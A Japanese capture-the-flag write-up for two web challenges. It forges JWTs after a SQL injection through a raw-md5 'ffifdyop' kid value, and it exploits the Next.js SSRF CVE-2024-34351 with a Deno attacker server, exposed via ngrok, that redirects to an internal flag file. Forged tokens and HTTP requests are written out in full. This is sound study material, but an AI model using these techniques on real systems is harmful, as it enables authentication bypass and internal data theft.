https://ctftime.org/event/2275
[Web] Fare Evasion
ソースコード無し。I'm a Passenger
という押せるボタンとI'm a Conductor
という押せないボタンが置いてある。アクセスすると以下のようなJWTが手に入る。
eyJhbGciOiJIUzI1NiIsImtpZCI6InBhc3Nlbmdlcl9rZXkiLCJ0eXAiOiJKV1QifQ.eyJ0eXBlIjoicGFzc2VuZ2VyIn0.EqwTzKXS85U_CbNznSxBz8qA1mDZOs1JomTXSbsw0Zs -> header: { "alg": "HS256", "kid": "passenger_key", "typ": "JWT" } payload: { "type": "passenger" }
I'm a Passenger
を押してみると、以下のようなエラーが帰ってくる。
{"message":"Sorry passenger, only conductors are allowed right now. Please sign your own tickets. \nhashed _\bR\u00f2\u001es\u00dcx\u00c9\u00c4\u0002\u00c5\u00b4\u0012\\\u00e4 secret: a_boring_passenger_signing_key_?","success":false} _\bR\u00f2\u001es\u00dcx\u00c9\u00c4\u0002\u00c5\u00b4\u0012\\\u00e4
a_boring_passenger_signing_key_?
という謎のシークレットが得られたが、jwtの署名鍵として使ってみると正解だった。jwtを自由に操作できるようになった。typeをconductorにしてみたがダメ。ソースコードを修正してみる。
<script> async function pay() { // i could not get sqlite to work on the frontend :( /* db.each(`SELECT * FROM keys WHERE kid = '${md5(headerKid)}'`, (err, row) => { ??????? */ const r = await fetch("/pay", { method: "POST" }); const j = await r.json(); document.getElementById("alert").classList.add("opacity-100"); // todo: convert md5 to hex string instead of latin1?? document.getElementById("alert").innerText = j["message"]; setTimeout(() => { document.getElementById("alert").classList.remove("opacity-100") }, 5000); } </script>
コメントに重大ヒントが書いてあった。headerのkidの文字列がmd5変換されてSQLに埋め込まれている。HEX文字列で埋め込まれるかと思いきや // todo: convert md5 to hex string instead of latin1??
を見るとバイナリにされて文字列エンコードされて埋め込まれる挙動になっているようだ。
そんな攻撃ベクトルある??と思いながら検索するとHackTricksにぴったりな項目がある。ffifdyop
を使うと先頭が'or'6�]��!r,��b�
になるようだ。SELECT * FROM keys WHERE kid = ''or'6�]��!r,��b�'
となり、or 文字列
で恒真となり、全ての情報にマッチするようになる。
なので、JWTのheader部分を{ "alg": "HS256", "kid": "ffifdyop", "typ": "JWT" }
に変更して適当に署名したJWTを使って以下のようにリクエストを送るとconductorのsecretが手に入る。
POST /pay HTTP/2 Host: [redacted] Cookie: access_token=eyJhbGciOiJIUzI1NiIsImtpZCI6ImZmaWZkeW9wIiwidHlwIjoiSldUIn0.eyJ0eXBlIjoicGFzc2VuZ2VyIn0.zgePz4fg9QKihcFTuT8SEYy0vIwNnIuNSmb7vZuNVrE Content-Length: 0 ===> HTTP/2 200 OK Content-Type: application/json Date: Sat, 29 Jun 2024 08:44:16 GMT Server: hypercorn-h11 Content-Length: 466 {"message":"Sorry passenger, only conductors are allowed right now. Please sign your own tickets. \nhashed \u00f4\u008c\u00f7u\u009e\u00deIB\u0090\u0005\u0084\u009fB\u00e7\u00d9+ secret: conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e\nhashed _\bR\u00f2\u001es\u00dcx\u00c9\u00c4\u0002\u00c5\u00b4\u0012\\\u00e4 secret: a_boring_passenger_signing_key_?","success":false}
これを使って以下のようにJWTを作ってPOST /pay
宛にCookie経由で送るとフラグがもらえる。
header: { "alg": "HS256", "kid": "conductor_key", "typ": "JWT" } payload: { "type": "conductor" } secret: conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e -> eyJhbGciOiJIUzI1NiIsImtpZCI6ImNvbmR1Y3Rvcl9rZXkiLCJ0eXAiOiJKV1QifQ.eyJ0eXBlIjoiY29uZHVjdG9yIn0.9YEcZgwQH46F4wckPyovNOwao49zdlEPoQ9HdiXimK4
[Web] Log Action
ソースコード有り。Next.jsで作成されたプロジェクトが与えられる。外部にエンドポイントが無いhttp://backend/flag.txt
をSSRFで呼び出してくる。
SSRF出来そうなポイントが無いので、package-lock.jsonを見るとv14.1.0だった。脆弱性無いかなーと探すとCVE-2024-34351というのが出てきた。条件はsnykによると以下の通り。
- Next.js (<14.1.1) is running in a self-hosted manner. これはOK
- The Next.js application makes use of Server Actions. あまりよく分かっていないが、Server Actionsで実行するには
"use server"
が必要らしい - The Server Action performs a redirect to a relative path which starts with a /.
redirect("/ほにゃらら")
みたいな処理
以上のような部分を探してみるとfrontend/src/api/logout/page.tsx
に以下のような部分がある。
<form action={async () => { "use server"; await signOut({ redirect: false }); redirect("/login"); }} > <button type="submit">Log out</button> </form>
この部分ですね。ここはログアウト処理になるため、使うにはログインが必要。手元で確認するためにfrontend/src/auth.ts
を以下のように修正してadminでログインできるようにしておこう。
//if (username === "admin" && password === randomBytes(16).toString("hex")) { if (username === "admin" && password === "123456qwerty") {
これでローカルで起動してログアウト処理をしてみる。ログアウト処理のPOSTをコピーしてきて、以下のようにHostヘッダーとOriginヘッダーをrequest catcherに差し替えてみるとHEADリクエストが飛んできた。攻撃は成立していそうである。
POST /logout HTTP/1.1 Host: [yours].requestcatcher.com … Origin: http://[yours].requestcatcher.com …
ok。ここから色々試して、このPoCを改造して最終的な受け手を作った。以下のようにmain.tsを作成する。
// ref: https://github.com/azu/nextjs-CVE-2024-34351/tree/main/attacker-server // Attacker server to test SSRF vulnerability in the target server // https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps Deno.serve((request: Request) => { console.log("Request received: " + JSON.stringify({ url: request.url, method: request.method, headers: Array.from(request.headers.entries()), })); // Head - 'Content-Type', 'text/x-component'); if (request.method === 'HEAD') { return new Response(null, { headers: { 'Content-Type': 'text/x-component', }, }); } // Get - redirect to example.com if (request.method === 'GET') { return new Response(null, { status: 302, headers: { Location: 'http://backend/flag.txt', }, }); } });
これでGETでリクエストが来た時にリダイレクトしてflagのパスに移動させる。deno run --allow-net --allow-read main.ts
で起動して、/opt/ngrok http 8000
で外部公開する。得られたngrokのサブドメインを同様に以下のように送ってssみると、実際なぜ応答にSSRFの結果が含まれてくるか分からないが、フラグが得られた。
POST /logout HTTP/1.1 Host: [yours].ngrok-free.app … Origin: http://[yours].ngrok-free.app …